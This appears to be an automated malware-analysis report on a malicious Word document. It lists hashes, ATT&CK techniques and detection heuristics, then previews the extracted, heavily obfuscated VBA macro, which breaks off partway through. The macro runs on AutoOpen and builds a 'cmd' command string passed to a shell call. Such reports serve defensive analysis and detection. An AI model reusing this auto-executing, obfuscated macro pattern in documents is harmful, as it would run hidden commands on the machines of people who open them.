Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 09548cb15cadb865…

MALICIOUS

Office (OLE)

194.4 KB Created: 2018-09-24 21:52:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 3635662a21e7ce900a17d32478485dc6 SHA-1: 8e2d24509b1ad422d4db04b5b46b521576c8642d SHA-256: 09548cb15cadb865086eb249fe2efddc2042f571c20f9716c3896ab47507c745
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is configured to execute code using the Shell() function, a common technique for downloading and executing additional malware. The presence of the Shell() call and the AutoOpen macro strongly indicate a malicious intent to run arbitrary commands.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6696772-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6696772-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 175081 bytes
SHA-256: e2e3dbcd11cdac262909a2f2967156a5a0fbd4502f50d147f0d876269a9ab162
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "blAhHXwjoRIjs"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim IjYzFD(1)
IjYzFD(0) = Mid(ZuAzqBpZvdi + NjAFnzdilMWLhzKHGWJNlqmvUihk + XuAXtRDVs, 768, 654) + MidB(fUpPoXHjuDS + ADJEEcWInwmNoSDhWNHbiPtMNddq + iQAMnjFn, 385, 853) + MidB(cbipfNhmnCtbi + PJiJwQdiRrtmaoummSiXwQJ + bWYhzYpipi, 692, 521) + Left(KXnUvMzJfhsBs + jtnUIGBtKtNkDjKLnzKvNiVSrrp + DsIpwGqlJida, 650)
   Dim FzWjOS(1)
FzWjOS(0) = Left(WzZmnoJBVvjj + qOFzoKVhVfGjNsIjOlGmUDzzcHiAvX + IaQdHQoc, 886) + Right(aRjMMSvL + rltqLsaqiLIDkNSkiqzPcWhwuSizMAIQpXm + OlPUwXhTit, 648)
   Dim wVHPm(1)
wVHPm(0) = Mid(LIKVdtDj + bPzukXnEFumtKbbZiziKtQozL + mlonhMdSMzTL, 649, 7) + Left(PztoObKnRt + iwYcAWYwFdPLcOmAKdrYA + UKbBWoHXo, 306) + MidB(KLcGaKWidCLhY + tcmXXKlCNizionXzDWiWRNdnlRztcsw + BsBhYIOYdciWpf, 229, 589) + Left(DLFVJuW + OoUqstrVHBoDTzolvRwOaptCpjiGLZXA + lpdzJEcN, 976)
   Dim wwAOz(1)
wwAOz(0) = Right(LzYDhpEAkDfzLJ + mHndGjzvFrkOcRTzMCtWSrCpcjOaIVANHL + fAcwpEqXTiLzz, 124) + Left(uJVlEqULqRc + EQHLYXtttINiWwXQnZSwqBj + QHXczwONEla, 663) + MidB(BAHjZUWnZpaF + SQKojNcmklEikTfBTRwiRJUJdhiBru + nblzaEOPWfrMlU, 902, 771) + Mid(JTUisiP + ECjMoiofDPUYoCMmSIXImmlJbFjGkWEKNmT + worYnhURlVFM, 130, 636)
   Dim tLbhz(1)
tLbhz(0) = Mid(fGQAvFWSzvfV + vIYmAwTSFGUaZpiQOGnvFIPOEEX + iTzDCvwsT, 245, 19) + MidB(UGzdRfROSrW + dkhOOhSCwbmfURNTrZoIQbmsVC + bwjSMLFwSrd, 463, 531) + MidB(lKAAzJzPuobQn + zzkDApvCECOjFvQhukUBMSdhpikuRX + dnYWBpIvwkZsPw, 460, 888) + MidB(aHdzXlW + XUHwMbGRJYiLZYDlRqGqZPzWQjPm + jkbqnMQIjvkzUO, 640, 87)
   Dim IpaCV(1)
IpaCV(0) = Left(TIjCksVaTOb + uVGFQrqjdupNrFwsAOXQDikYQvmzf + XmiVmdWqpN, 127) + Left(AQdaOPqFWF + jTaorwziqUSXOhMYiRNXzSLjPQRAhfv + wBwRIijj, 951) + Right(AidhoCG + waWfNhSZTicHWQWjnhqCCIjhmjMiY + OWfSEaLHMLjas, 225) + Right(ERTUlFYT + AfpHHKpUItrjMbZdqrVZZHMESBJwL + ajRFEVlXDTT, 754)
   Dim skqQRd(1)
skqQRd(0) = Mid(PFqlMWYocpwM + VJJLFcuipLluPDSSwzKSviOY + rHhFMOjGGYGm, 632, 313) + Mid(sbJlJWwDjiLqOc + PvzEEOiWMMaCuovqmPudU + WdDqrdhCXkS, 496, 917)
   Dim jPwwU(2)
jPwwU(0) = MidB(fYwLwCbwsvzhSj + UwwAcQZArpYAtaSiNSIBVFWlzj + bGCbwVc, 382, 295) + Right(cFMCwzVfOrAQtL + vFibRzoNSzRwqHTNXjDalcEULa + PBrhNkYi, 571)
jPwwU(1) = Mid(jwisiYjhCWfBVs + wMicndpBaFJtisCiJTbDjctmmjzWpirZRzo + JjRdPqw, 247, 567) + MidB(MYEpOqhAtq + biTLrQbCqNRXRshluGdKQiCLa + SPGOquviHwCaf, 286, 222)
BvdFkbn (KeyString(vbKeyC) + KeyString(vbKeyM) + QiOPYSH + sfUzLNkNtU + QCqjSiWo + BzBiuCkM + OwKYAQRQ + mEoVScvZsF)
   Dim VitAvf(2)
VitAvf(0) = MidB(zNtHfjKkd + mnXrcNCSiVknKiacVmpoUZK + lSKwmtLswrQms, 257, 711) + Right(cGzwGhFckZz + RSjMjYTzuzpcldYEEqwEjs + FTCTNtuZzGfj, 245)
VitAvf(1) = Left(iLwHdwp + BtvNUOwUnNFvbiMRHzrrnlSsllC + EvSUwhEiJ, 221) + Right(CwjjMLvkYI + BHbCWLiwwBzJRzAHmMSlmjIZZHErwm + qGCMwchZE, 958) + MidB(vOucpKWzjWo + mJrvGFMAwuFWzJhpzidLMbClPLj + jzLTpizsX, 499, 940) + Left(XSKNSqozUfIziU + wpPmdWXnpOjwbIjENaCtsfSOUDWKJ + bkhUWBvXXd, 531)
End Sub


Attribute VB_Name = "sWctRQU"
Function QiOPYSH()
Dim cUnoQl(1)
cUnoQl(0) = MidB(YZiivNQKQTTh + UVGKrTZUUBwRpJNqTFYQbYOPhmQCYGoz + AIiJEEhmiXGuC, 556, 992) + Left(famildEriEzY + LkVpKWOpCpuqjnCvVIWsNOfdR + iNTVvJhnoFWTlj, 789) + Right(vEzQwcptpsHb + wqpUbaVNdBANqolIYXtiNllicFRZMJMZd + NQQiazQim, 802) + Mid(jjElLjT + qwtHMcoDdZLpLGcznYTDXBhqHYBqJphWU + NVbiIQtOrYz, 175, 222)
   Dim qCHBja(1)
qCHBja(0) = MidB(TwsjzCXNiBZ + buWjUOlXjzJaavdQYCvRzGbOmWdZoR + HlULMhIkB, 675, 180) + MidB(ikScXZcc + YszzAFXVIijhrNpOIOEwzDmLzQrPm + wSMiHidNAqaBsW, 294, 645)
   Dim nfsHVF(2)
nfsHVF(0) = Mid(jfciBAKplEYZ + YpYinpSKPpuOBdMCVhzjhrOjjLEmWrvH + qSqTWQmonwIL, 479, 38) + MidB(TwZIrnYJiwKDY + vaiMCrPiusEQYCjiXziurDujk + jQPsNku, 801, 16) + MidB(YqNwiIk + ITtzGNjmIKiAcoXLnsMifTbr + UlvZNzPXQmzEH, 632, 848) + Mid(YNCWukZYSv + jfVzuoWOFfwFYlLiqquDiiWaAVB + iJjGiEN, 860, 409)
nfsHVF(1) = Right(liGQVzOpiP + lcrVXNWtDsRwoijiWQaRwXGFBHM + jlwiniqfzjQsF, 7
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.